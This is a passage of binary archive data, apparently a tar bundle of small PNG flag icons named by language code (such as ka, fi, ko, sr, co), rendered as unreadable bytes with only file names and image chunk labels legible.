 ��5��PJ�B��͒K�������<�jZp��s�+���?/ͺ>�Vs7~��F�}+[�u�P��IEND�B`�lang/48/ka.png000064400000001511151721413500007016 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Y�o�@}g;q)IS5
U�PR�X�@bgaCl,l0���_��‚X`���),��B"b;���8N��w�9�"oq���{�>�mFD�3��;�1f��yI�٬X��u�^���"������ã�Z�ܩ��h�螡�۷֢ħ��sV`����ج�h��	}�`e25��*\�\��"���ɓg������x��@��s�8J�y���3�M$��ᣅ�c�o^-W�szR��W�),�y��G���1
H3�Jv"��w���~�_�?�M^����L�8_�p�׀��K��׀�&�-�P�hH8<� o�I�����z"���E��\&Fk&p|���?sS�Ӓ*���"�/�_�y��,&Vܵ#Gf۠�hF�
��y ���Є��c�	�P����s��Є�D��3�s�D��`��+�9�a�&�����_R�Q�Y(J���0M}����ؤ.�m}
�f���DKn�K ��v�4ǘ�l��,-k ��I�O��
-s@r��@�\-N�H����'�� R�Р��V)�2*���吐�j�P��p8Yi�4�]Ø�@T�84�?#lg���q�9�T�ul%�
��j��ƙ�[�*T�2��\Z�#�
�^O�E{�A|��8p�	��3����(#���0`�/���IH>l��IEND�B`�lang/48/fi.png000064400000001307151721413500007024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FMIDATx��?��@ƿ猝D8
lX�D��	T44��q
::n��=B�
�(�@lϟG�Mf�Ċ���~��Lf�~�y3�!f���qkZ���tt��6��h�3�p��gex��Ca����kyq~�0,[�ٓ��P����}��O)�Ζ�X��RQJ��Yu�����=%�NP	 MUc2RE������[	 Ne#�Jĕ��c �i�ej�V�_z��-n�XŇ�������~���r�P��ZI$��2�FE�1_іr�YWl���k^d��5�1�Q�� M�#Ki �.^
{��MV�_t,�`6���N�(�ǀ�q�6f
����
�5�Ae?nf�C�C%!<h�-�L��3c���r>p��R�oB�?)o�'�<�}�RJ�����{Ѭ�">l���C�8;EY;cq�g�Z�Q`�x�ȹ�Q��gM�i�*p����r�J4`��}�l9\��g�Jj�]Q�8a��ʎ�A�kΞ�ׅ��|�w�(Z��i�K"p`�ܱ(�����	Nl	��ړ��hNj�Z��b"�IEND�B`�lang/48/ko.png000064400000004121151721413500007034 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YkL��~��+8+ceו�j�[ۮF�61�j4Vl%��X1f����/���Q��E���jm,^:k5od�hW�T1;0�7��r���2�`��<����y�����y�È�F9���'���ݿ�	���"j���X��4�g�I�>C�$I�e��F�z�jn|�E|��m477�U>DCC���BN����?~<n޼�@ 0���\.��� <<����|#G�s�Պ��dx�^��v�����R����ݻ�$	��(�HLL��j��i#C�����f�Ž;`6�Q[[��
EQ�E@�e�l6�\.����b�`�…�3g$I�3�)�<yB������S���'��JN��RSS�ѣG4������Tr:����E������E�6m"��9����E���t�r�
���SRRy<��ʢ���8'��=�<v�ڶo���j۹�<�O���8`0 ��N�$QRR555Qqq1mܸ�8�`��~-mmm���¥K�`�X�z�j�����r�ȑ#(**�N��Q���?���&
cHU��ٳa2�!N��(
jjj �"\�v��`�Պ��ddd`���d3$��Յ���76�
QQQHOOGZZ
>+@�;�A��k�оk��֋XO��f0�{�@7}zP�ŋa�XPRR��[�"..+V�c����G�娪*��ʐ���-[�`޼yذaC�B���?f��u�0��"U��}��)S�v���\(��ٌk׮aժU����Aw!�N���d�L&���l6�f���;@�.+�~���T�˅�;�۰ ���c111!��FC����/���c!� ���� � C����'���{S17S7���oU��i�4� 
��{�п�N!�r7~��}�[Y	��aP	�}؎�qr?҂` ������Sp��<�w����a
�p�u����� ���H��/aqHxF��3����XY��j1��J)��w��'�0j
��Dj^����@؇�i>qp"Pw1p��x\�1�7@D`���"Bܔp�{��B4~翋h.�%���}�0�q@G��d�Y�Q�/D���_�De�}�M��� �+�2*�H
�+|t�9���" ��׷m�UU��_��٘!����A�@F.?�D B����xw�$|���}$Evv����8�8�׳hmm���q������ػe	Ԁ�9���_4�����,�N^�yyy8w�ZZZPQQ2���,��z}���x<�e,@ZZ�/_������p`�ԩA��|v�b�z�{��hм
���U?
j�q�%$��_���L�\.!<<�JEQ`0�k�@ p�`0477�f������G�;����U�?�������n>�h��?�g�qa:�:�
���U�L�D��WX��{}F���E�&MBrr2�����k�b���}!��8�}>_�z��(�d�۩������)Pdd$������%�d;~���(MK�G1~B���G�=F���I^�ү_^^�8q���RRR�n��ɓ'i��ɤ(}}|>߫����h��vb�Qkk+�������֭[����搙��q�e�4����s�1ƨ���233��pP[[�F���pp_�$)d+W���K�R]]���j��ʢ��h
�J'%I"A����***���Qii)=~�x�lL��W<O�N<��H.\�3g�PTT=x���KM������v��M���������ѣd2�B>���"���9hG�/_&���D�7o&��M#���Fڵk9@�!���_�����9�Y��N�:Eo6��,ˠv ^7ԓ�1�u��!**�~Z\�lz�I�2]��`�;w�[��<cƌ�V���3
�1�0��Q�7�b��sO�?���#0F`�����\Kϸ���IEND�B`�lang/48/sr.png000064400000003242151721413500007052 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F(IDATx��]lW�wfvv��q�4��ĉP�4r*+�"T
Tm*�C�B��E"*�E�/ A+!EBPU	T	ZE�bZ�HHmp�ql��wv���{x��t��X�t�Z�HW�3{��>��Q"�f&�MN[���P����f"������7��w?��n�ZZO�T�����X�`��W��mnJUM��J5�^�W{_���<G����vv���Wy&H#��rU��d�%
ɒ�u��W�T�,3�,eW�F�*E��X�WI���h���+K�Q�KU�����d�h��~��O<5��:x�N4�'P��k	��Jѓq��hIB�`��^�Y�ُ3��sDSN�(Qv��`+8���kp�?�k3Z#�<�kV�
(��,��AԮ,��P�3�[pΜ��N��6�up�-@>�R�`j�1H����u����@���7�u�����t�\��~��ۃ�P����bL�B$lB�
˘'^�|���ᝄR�����J�?Σ�$�՛��<lj�k�L�����_Zi��	��p�B9��Eg2tNkėJ���7�� q�:�S����Bж�bߞx���8;��97��^��	�+�q��:�2�l�NNQ���k���1RW�Pk��[�~Sɰ�X����=l�I���/>H�e�n���ѥݏ|>�I��]� }�(6Ԕ�
��*������
������F��"5�T��j[.�E��~@���88��̿	?�]�D��p��b�em�Jb\���7yue�p���\�4���PXl�l�
���y#n�N��Ilw7�y�Յ,�x��8{qs3�0B�	m���mH��%�m��	5��!t|�+\��wp���Fa�{�(�~�H�ӖEBM94M)�)ϩ�X���- ?���Bj�ч;�ǎ�ә�09��l���2*�&�ϑ�*5�
]-�9Pݝ6�<��f3��q;ۑ0��u�՞�O�P(<U�M:vJ�@�1Y!������'����f�߽�F.Y��S�>�A�b"�F�vbc,���X���E
ύ�'���ҋ�����]L�;����4q��O���غ���m�X�u0���IX�2l2d�����<�$G�.������d��p�ON49[yQ����܍���kʨ�Uk�����i�2����<�#}�G�������z{�"n�C�������\sCHCZ��T�ᤉ�W���0�J��.�<���Z��t�������Y�W]z�374@E����Y�嫴�@�7}��c!�H	�C�H�{���?8������2��m;�k��:;�ܴ랸��u�=,>��]D�l�'^��-�<��8�1���妾��<�l�l�����{F�\�>y��'�\ϐ\�}Df���X����C
*�Z[[7��P��<�?.��M��T:��l�lv���ZR��>�#�d���'sU�7���$Z��[�ZBo4�	�U�	���6��Fہ���M��4pVQ���K���B`Am}���`��J�� �O��*IEND�B`�lang/48/pl.png000064400000000753151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FqIDATx��KN1�?ό�M�R�H��;^]U��g��I��Xě�+�?FqL��#�4����Y#I�p)�5��-;`8�]��2kU�4��@h
 ��w���P��W�	@iD�P�4���\>z�OXߣq�q��](���6��V�P5t�z�α���fr/T�W�)�V��83'�S��[�9Z&�h��Z���M�/�B��N����&�;B��T�s��=���%@���5\i�K�85�l-�
����C�'x@x>�)���j�+r l��2�+n7���$���{�L2�����<���������������CD�B� K�IEND�B`�lang/48/zh-TW.png000064400000002435151721413500007402 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��MlTU�wfکX)P��
�Gpe!5���&Ƹr�!&,�	�
��;5�`��c���	1*�HA��8-�tf�{���b�̼�f�A�D^�I��7�ݏ��{�>���Y2�\,��0@ȇe��^X�ܞ����WmC����+r@���̶��L�U|�-㖏��yQ�9ab� �l�d@!���k{�~{�U����S�x�|;��&��S3(�Q���`]D��能���ٹ}��YY���
�)�)�+�p��
���5������v3];	�H��D�:�B�]X����/n����R) ߙ�՗� �X'�XW�cY'������3�iy�V��)~ ��4��7�����Mr��;���:e�S�8��7F�<�������v��'HO#e���-y������;|��ڞ<;��WgIW���_�]�w}��a`�J>�����5���G%��ϳ1#L�`|p�;��3`��,��q��3T<K`���� Xp��A!T�^�Ƈ�����<K�kmĪ�%�za3ٌ�o�s��x�����h4��e�R�m�������Qz��yvh=�k�����(Lz�����>��ë�Q���P�,��bڑ����An���p9��Op��4{wm�|��oMի,�J��F=劥	��1l�_ʧߜ���	0�S�FY��^�ޜ�X
���_\�Y��e\�FZ��҆$6ٺ�$*������W�۷�c�{����8��׆�4<��#�g�K����o@���� ��Q���=obz:@n��x��l��˛֔�5���'	�7	m�PШD`�̈��_�����1JK�b��ȟs'\;���/i5���yu>un�'k�&���*n��2�&�2n�wE��7>���2Q�N�bI,V@�u�%6��*�֦͢c#���=��b�V����|gZ��Ld��ypg�q��Bj]H��:�0	p�}��+�u�:�vjs�:E�Mf̃���u�f��<|�ɶ:˽�@���d���uR����N��uOb�q`2���EA�5^�u��w

�z��,$Ճ�}�P�8VI�j{�F�L4	���&��Mb��̅����N](�~(`|j��3@0�J��c�C���}a�&�)���~�"�E���3�PZ�d&�IEND�B`�lang/48/su.png000064400000002336151721413500007060 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FdIDATx���kU�?wf��I����Sl�QjK��*D}2�*
}T|���j�EAPL���5H�5��ڴ�&MR�&�3s��agwf�M������Ι��;�{�=�QU*Y*\����0�Ԅc%�2	`�W�=�����|q�)4|��v�w����R��܉^��P#��޺�A�c�5����D窅׋�|��>�����(@M@Q�������Zx��07��@�p��{�����YL7�S�<�	��k��q������.s�ȵ���>h�E��dz>�_�����>?���\�.]i���r��%��<�6��<�v︅�Z��}#$B���d<T�B�$�[�(��w$�wy�K4��A!σ8+B�d�_t�����㽭��s�ۦҥGP]�PH�����Bz�ܼRm8�o+/�p�P����f�@�BZ|�r}�d\8r�N:��x�42Q��[}/��� ���L�7z8����{xs�A���K�	y`�����B��Ύ�N{[jK[N�
�#�R�Z�F8�Q�M��%����`y�X�S�v�#��*	�lU�p
X�x���c�_���uܵ �L�gVm���oi�PǫmO�-�@,��!Eyn{;��]{
����EQ�y�Wv�ݛ�m��c�5�2�@Q7�s��7x��mm�8�@A4_��J�|��FP�mj�蓇���R�4s6;�\h�҅
�:����׹ic�$��j�ZpC��\��d�Q���u����w1�ClL�q	ɦ&� ��1Q��hH�1;9J�����DU"�F���:"
{Q�2�u��}�P� �`�ܨ��^���1�ƏQC�%��/�5L-FArv���J!��]<����t�����o,A�gѠQ��y��y��CQ�4��U���4�C0z����hj�g��OK�uuu1���F��>�ԧ��W^���L%xe��T�Yf��+e5ycL�:�*�J�e�I��X�[�����d&��'=���v�E<���{��^��lYo�0��7g��]H&�$ٶq����J;�`3�4SYr8k�~^J�c%IH��/����(��7@�̿Ǜf~IEND�B`�lang/48/iw.png000064400000002134151721413500007044 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��_h[e�_�MnҴ���s�X�lk�)U�)�����ž���/C��Qѽ
'{� (�e�	�v5��V+m�&M����>�v�+�k����s���=�|�9�'�RxY|x\�U��;�.��м�tggD��vimmm��+�f���io����@��-��'%~��c�t'���-J7g!��Bp��ԦT�O�k�s-�e��~���*1�T
ۑ؎�ėw\�\"*H��H,�X�D�R��z&��"%@��+1m�v=`�>\)���@\)5��UH�Q�V��\E�_�Rs&�����b�jaޒ���o\M������Q�n܄��3|?4���Ϲ��HNd+W�-���Μ�����M8�3�]$Wp�;��d�H�O�.Ha�!\�g��o�5�8�9��-1�)�{~'�w4�-ؼ�D�ζGO0������[�v�S2ž������A!xt�&N~;�D��/c�8����}�&�z`��
A�Z����R�4��2��DVE��Q�>�[S�X��p�G�NdU���m
����_{�3�>�R����P9��|����{�:�盁�U�s���L�~f'/�_�Ui7��B�6�R�^�_�8q�.f�-���΂�44�~z�#�%x�΍�8=D��$��Z� ���8#�vs��x%���.3�LS��A?��"�-���ȅ�4A�G�Ơ`:���h�W�� �DӴ��m�7]H��*�qW��wiRmz�+�G*�Z^8����\�w\���m�z������z-x`G�ۚ�����=��Uz�'�V���Z�'��_�C8���vU��X����,�$������>����+��/�N[���Нh�R������;-���0BL��X��c�%���gD���%;����e�����B\o%j!1>33�F=�L&C4�Ѓ`vv֋GC���N��c�O���:�wO`9Q���T����5oPѹ���IEND�B`�lang/48/mk.png000064400000005664151721413500007047 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F:IDATx��{�]�U�k�׽w���<���nB���
��*�(Hؔ&U�PUJ�
(��"(���<�@�m��JQ@�E�F�Z 	�JZ7)I��53~�؞����k��>�g��Y�HGGsg�}ַַ���}�̸�/�U~]p
��wD@V?�����N<=�����ù����q�yk�Fe��1��!b{�g��~�g�WGP�F�/|$�x�!����ѹ� ��
�z��@`�h±w��BtV?��� �[*ܸa�мՈ����N8�`$�g��Np�{�C�*�a�͞�� 	�0����O?�,�1�I����=Z?V���c�`9�7�����ҐD���

헸vH{Fu:�\	��.1�~�$9�X.�@���c�h�YɔUHbS�D����G�F��#d����%��}0ņ�%I��_��A��	<ЮC�Uއ�f��=àiyƏ$�
��!��#��DqS�a��V�`%f0|L(_t!�WX.$G*��J��Kѡ ���a�Y�R��rȇ
\���GR�6޶��J���/H^2/
�|�����HV��ej[x�,��"(_����֏�[J�Cr�{I�oR��&�/e���T�|~%���;]%�6��Q���c
8a�/1�/�`u�V�pyr�(�gr�����OV���5B����O�X_�*\
��sUhd�Z+
�Ʊ�c��Y�����L(�nHZ�m	͊�������@�Ta�P|�1�6O�M%�F�D��OdX��z���|zN�TL.'�0Wr�c#a�xL���{��7��]�KL=G��j�|��^�5X�+(^4��қ��?����T�/��/[���_���1�Jp
��Y��P���Ϧ����H�Q�$�='KF*d���W��#B��о�${mN��9�,
�H6�ԟ3����R�	��4���9�QO�t��)�<Ҩ�b��oHbL=�x��
(6ʱ�ؓ{*�����Ǖ�c}&݈kl�P�9W0�+��U����{G����]B����ݳ�
@�W�^��!��AYV��g��{�L}0�3�"�B�`��M���(�7SM˿� �p�(X�|�v�	�-*�]ɱ�@\m�b���c�9��)8�{�
Zo��v��kB�_c��N��3GW`�C�R"M�24��׷S��C{��<nX�̛��ΎS}��:��A{�5o�3dpV�DR&�(h��B���c����GbV�<�ZP��� �^0T�(��n�p�F�_��O��L�—n��~.b�@�UA�墣:�N	�,�s�*Xw�!C�ͅ�+�?:įɶ�٪�bͷ��/�"�y$�F�ψf�h?$�蠒,(nVq��,(��-�Ͷ�!�т��nSUtTWe�%Gy����qTg��
1�AeG��k��uJ|�H)�%�Wd����B��VŃ
��ԺoZ��v�|P��q�6�����	�p���P���і��4"��>��?U��U$ԃ�_IH���[2������遑�}A��v�¥=��
�L��5��ų�����q���D�T6��1�[$��]�-�~M���,�%G�$TKF�+�(h�/DSJ�l��ks��|��Kǚ�qp#�V�R�F4�D�F4������~`=>�`Zm�O��n��jI�����a�h��Z�Ȃb8�?���֭Uhdݔۨc�M�?���k�/@��h3�uCK�p-�MѴ���т#�n��>��	�j��1@�޻�b��D��Gd��,����`�2f���>�p��)�8��Ją?IR�lq�VϭA��E(_p5�\3�N��BE�l8�+n/�[�BzD�������w7��%������S�C����D��xa�������^_��&�K7f�
�E�۶KbhQmn�u]��t[ahƏ,<�%>�,k2|�!ME"#���D�4���Koo�~�g��.�?[���c�����U3�ӭ=��1�s�ǟ�7)�[�q��05d�b�}���t����J�Ua�x��'���i���)@��nO�Z�+�VCW�񆒅{�{WNqұt{��E��iا�a�M�J�F�js7��
K��(�:����G��
]ec�]o`=f�]Y)�d�������
�>5 ��S<�8{w�r��[�Ѭ!��ь��mw�F����-ʗ��\����w��0�쾈��	�;��U���@-uɫ�����~d@4����O4}�m�F�TF��D�4X��
�J��p���I���yf���ܽ}⃊��R
`=溉��Ѭ;L
���?�g�g��-��8}���QXAmg��m�@|Pw����Ɉ3w��N9?V��}��Jt Xy�9��W $~�FjO��������>�<�/;Μ#��õw�A|�nX��^q�����5�E�U������!�${�!�nP��g��[+��Ӿ�@�dF���:x�}�!��zɇ��"	������8}b��$��M�(Xx�O�������:9�`�C#����wyt5����1�o#���8׆h�B�z!���}�3���Z_�pc��
ɍ����3��<lgGn�B�8�jMHo�L��#{C�R���OŜ}ON��^9+ >��i(l4#�ƨ�$T�J �P��p��6��
Ȏz�'���r���>(72t⎂���o�HſG���&z��4V���	�+��[��Mݬbt1B2�ۡ��…ە�:"��oȪ��H?�h4��8�G�٫�ץs�W��y�]?��+�r�k��������!�սIEND�B`�lang/48/ml.png000064400000002174151721413500007041 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/ga.png000064400000001562151721413500007020 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�@@��nR�PB�X�c%���p�8s����n�����i�g����I�:&�EV��$;��vfvfmgft�t�m6�;@��>vE���{��޳p?���/?����+)3����w�G�=5�œ���f��y-9��_�݉���!*Ocʩ͕��&S�ƣ��f�\EO��3#ع'��rB���+j%������$--�M��}LT� P/B*�v2Mk@{0�d&xI�?2_Kƴ`j�̷`50�.U�,�g]H0����LS�y�緗	�@��)�@F�%$Y�~H�9�&�� bm�V�A��c��6��4MHR߂հ��@��Y�0�|A<��RP�-���2�\b�&ˉ���B��<�����W��*7��u6���j��"��]�S�˾�6z���-0:;m�����"��A�R�����M s��\5�5)��`vpK�¿
���A�.�a��s
��-�.���0k������hW=�
i�a��1�.�$3�����(QA��]h�盷�J-��JpΊ{W�����ý�T�.dkQ�*�b�ZX ����sXj6{�q���|B*��b��#�q���� ��
��0�F��7m�9�:�sh����l���\�l�Tq]r"7��E`�;��e{��|��Gc`rR�<0�WR�d���8�p<�X��9��K��K-&n�~����N��&�zB�IEND�B`�lang/48/cs.png000064400000002417151721413500007036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��]�UU��s�tƩ�J��)I� ��0顢����� K|�ć �㥗���(�"�R�����1ut�#J�ѹ�s��ù3޹�����K�`s؜��^���k�c�,U.S���`���*dѢz��q��������nS����i�:@}��c���f�k��>{/�n��To�Oߩ~6o���sU�2$,�
�e1�	�|[7[��&�
����!�1`Y8|���<�|-�gU~��!U�"E`	����O���@U���(VT���C�ѿi}��ys�+J�$����#�@�l�&�-N�~�����tz�;A�P���$U���ǟ�D���^��i��8��h|?����c�s�q��^`ճKX���R�6i�A\O�Q���%?���w���UAT�2�ΧQ��x*�舏����ּ���7�7���W���ϱ8�q�Uk���w��/�FJ��"|�t��b��7�Ⱦγ�yq)��O�N<�� 9�� a����w�c��e���i�����F
I���1a"�>�����a���맼Ȃ��pq�CRS�mx��t��f���a�ko�vCCAh�6��]�`��`y�w^ݻq/�dƌ1�T��W(��#�#I����ݴ�]h[��f �k�R���*,T~)a��k��}���EKt��$�Ȅ*>��m�Gz ��e��X#�Q����w�MĠ8�7�\P�\�&�V��a9Q43�
H�;�~6d�x0<�+	rأ[”�B����Q����.6���x����/��YҒ�8	�mc�P�����F�_ܔ༖$3u�7s��~%�,�u�z)k�PWטt�F,{��ig��b���ٝ4�K�%��{��A�|J��z��sU��@�y>w�7r�Ԛ�AI��>Q�uu.f2���su�mj�
�6
N��0P�t!j�.,�5"��� 6��GX������Z��ڨ���;j�α&�3�^V�e*H�)4�$>�H��“l̶�0�@Z1�*H�0�XI��rn�݃Ԙ�r(3*��j��`�3{���O,� k'���U�u���©I��ӝ<|�0��4' ��Ed(�+f����.9t�梁�����2��~
��)e��F�t��BIEND�B`�lang/48/tl.png000064400000003034151721413500007044 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YlTU��.3���pED��@Ԁ$�ƨ!�q���1�P ��C"A�H��&�v�"V!l�mR(��	Zh�t�2�=LJ{��v1P���^��s��mw�R��,�\&L������x@^uuC�=����?8Z;��KK�S\\ĉ���}�1敯�m�77*���ݼ�����n����@�h
�M�p�O)�u��K�:�!@)((� �p�G��@�8��ϱf�R>ϙ3�h��a��4�G�E�z�}���@0;nN��e�(���# ��\:+V,�������)SC(�`�s�*���S&9{DO>����L�
YDK �V�D��������+]]�c�/B�����	�Ge޼��[�4{����r
]w�ic@����KY�38PGuu�&�u=��,92.��ʕ�QX�CU��H�02�4�� *˖3yr�:IWg�te@��,�.�>�lZ����";v���Ԏi���mIr�����
Cf�b�D�� �h��w���ؾ}9��?PSS�8��k�tm*���$0���Q:�@�8s999.6o.����ݻO
p3�Ē�xB���U,������>��u��7���2X���M�*�W?δi�����߇�5�~�������j��
A�;�G����̥���e��?��qS
���\�ѧ�&��gN�B �r�s������:�F�T/�mʿA^b�YTT<O��9x�
|��4D�B r��K�:�6	��A���,л\X�p����@ ȡ��SJΔ
T0|i_C�uS&�&QH�C�6��H���)�`>a[J^qB�T ������S��_�I�BJ)��eBm����P�m�m0cQb���m&���_��pc3›3��,��l���~�΂�#[�[;���m�����U	���=�*�~?"7{�F�N��#�$6,T�(�a�	�,Ц�lu=F-)��^Io�n�i <���4
C�8]�$/��%�H:"��A��$�e;�(���½��@��{�V���!7�i U��5�x�{��LVZ @d��GA��� Z���Hc7�|��<���8�B����`>���֑t�ߊ��Dxs���"�J	��'�?�g�N��D�gB�Y j�@�����~Z��dA�;2�Hl)�`��rsm���l�ǧÌ�B:y@�Q(�2-����xv%��u��<�\�r��<��j��d��]{�Z�:V�
DncM)��0Q�T���ڏ� ܮ�\��a�=���K�k�:u:��(B�¨*$��u��m��ڎ6m��nV���x�d0��������-�p/����%@���4��u<I���O�0 ���Eih%�ѱIEND�B`�lang/48/co.png000064400000003005151721413500007024 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�3IDAThC�X�KU_�pN�@Q���?�
*8��T����ЈRA%)5�L�!�J�	+HM%İ�e�9�~k{_9����^?�����;w�s��{�gBD��Ш%
�Z�Ш%
�Z�Ш%
�Z�Ш%�C�0���ϟ���r��a������N!!!dmmM������H�N�����SSSMNN*O���}��677�z���7o�PXXYYY��&z���N9994;;���7FFF�����ܹ�X��`������ tV---)66V��ӧOTYYI.\���b�}����ׇ�`��jx��z�����RZZ��ձ�^�xA


TZZ��I?�����$��j���L555t��E�����^��a!������CZ���6ݸqC�#z��-%$$�����Q}��󣖖�ď?���q���������������ݻ�B��?����!�����9+���)������ �~��>�L_�~��j -�ڵk��ݭ���W�(##�3Ӊ'�N��Ç����3�����fe��!-��͛T__O�������ۅ�9N�9sF踎������S�ߡ��@���K�.�O�>�ˎ8�,���)OMOO����N����&
/l\:0������u�=z�"##)??�����?���N��/_���"�k�
��ylbl`�$�����@Z����9ݾ}�\\\~9bS"d���9���Pbb"�2MTTEDD𳁁�����,�YHRFGGy��,f���{������͍Ξ=�b&Ϟ=c'1�YYY\Kp���G�޽��}@J��s�~9x��q:v���w��̌�-((�����Q�UKII���*,,�M�~��0<<�}�n'���ˋ���)99��w����"�l�
o(T���;�>����,�V��ɓ���K�u��>f�ɓ'411��M=TX\\�,��u>����<&����%����hnnN�S�=��(rH��y��G���|����]R�߿/tH����ʈ;@��j �޽{W�������^���:%C{{{���RF����^����D���l7P�БꪲZH�q�X�,�#-//s��T���}!�V���S�Z:99q%G��l��fe9@Z�~����2*//��8z������?6/�����+U����{�i����@��������U#w�h�ş�
��j0��88O_�r�zzz�o�`T���]RR����a��?!̾�0���Y
3���HGˀ������R��0��lPq�&d���?�4M�QK�D�QK�D�QK�D�Q;$��H���M�'IEND�B`�lang/48/sn.png000064400000003322151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FXIDATx��l�W�?�?n��R
�!P�F�:�Πh�%�֘���u"@��`���5�hbj�8���\ ���Q��G�\&\�����"���߾�{��r{o�-LS��>ɛ{�{���{��y�J)�3I�9���@���N�Y�?~y˶�I�Y���n� x��Z,TJ�-�����5�v��&���߿p��lZ����P���V8@�#�iDL 
UԮD�|��J<!�\�ыBZZZX���/�x��� r��R!A��;�ǵ��v�ӣ�2)�UE<����߮�:]:�D"��={0�i�����ɳ���ʼ/���e��/+��Dp�Ҋ�r��!���V‚[��_�8D�.�����[��ع��4!ʽ�H�d�ù :�	Q:M�uyi�˘��V�x���BT�s��RY�t���m��y��̚�U��1ɥD�`2�4y�c�$.��Pa��䠇TO޻�FoldŊ�hjZDǓ[yв�K�����_c���<�T�����c�ϓ=~?�ŋd�a��F�-������8u��VÏ��3)��pcN�d��8��	XZW~�����H_C�\���3Z�Φ�%H"��My���Ԅlt��mģU��8s�9�U�Ar�	B���6��+I)Y�w~����b��+|��9�p��(4��M��Q�?�%�
�	ͷ@	�)������D럍�qP����e�'ض���8��f]u��	D!<�L�����F�&���Ю]؆b�;P���eLv��b�Nf����	�ZI���"r�4;w�f���dm{b#��݉���'���;O�1
\�m04�M�>�K�J|s��bKY�;Ɠ��D"�	`�H�|*�@:/z����e����5�$��P_�t�D"�/_N2��uuu�={vl*a��u�G�)�,�ޜ�I���"P�VQ�_Ϝa�5���	��QQ�8��p]�K"������&-ln��jqY����&�[7a+]��Y��J��'$J(�d-���`~]/3�t��6��^�755��'΁u���…���x�(z�"T�Q퓠�m��pE�|� �X8��6�|��jks��ʩN��4_Q�Ϊ�6�q�B_I�!\��K4p�Ν�~�A�{�_�-���B�4d1?܍;0��WO��l{j#]��g}>p�|�[�pi�RZՍi�7v�@�8va#�,�a9�D&�vVeZ�
��?��޽<m�0[��%�V�–��*�V����i,�D��рV_]�É>Y����qm��[��bS�p�ݍ�[0�|�Fh�����'��ےO-р��kn9�ZWRA����@�,M{{���"G4̻��#���#�[H�����$��̈́<�x۠a^����\ׄ^}�U��ְms��fc���@9
�R)֭}���{��{��M�����Y��^�#��
ޝZ���d<�r,��/lg�?��� �p6`3�(`8}��h�F�����Ι�����3���8���|c�����[IX�2��C��'�9L/�7�g1r?��L#�q1sS?`��I����;|��@IEND�B`�lang/48/ca.png000064400000001335151721413500007012 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<IDATx���n�@�g�vl%��J�p�8��8���7�k�����#w���%mӍ��afmǛHM�hGx��-{c����ٵBD�l�[����<"O�$�䳘~6�/�o?�p�6@�B�z�7�*}���;���J�Ap]ux:^�Ni�Ǎ�4���x,��x�Į����s։�_��;#Ȟ��~'2�NJ�y��u�E�]�y�6�8�1@)�����6��0[{9�M�PH�P���5�y
����ҼH!�a餂�`.�4C'(�l"��Џ�h2*Ќ��(�hHr�PdD@y�6F-M��q����A於Q'-��4؟�A�	����xҤWvK�C7a��
�޺[╴��˝��VJ_p=p�{��o/G�
],e���f�r5�U���Y��,�:�C��+-h���}
�M�]jG:Y�`�D��BH�P8
�n�v
Y�;T�xE9s�g*3s-���ǿ1ܞ���J o��S9sA����|�hXr�TƊr8�#��~T�NK���hn�����bX�of0�Q�}"C��i�x���$BB@���;����H����0�?ȿ0����$��C���z��Z�N.mĦ��IEND�B`�lang/48/te.png000064400000002174151721413500007041 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
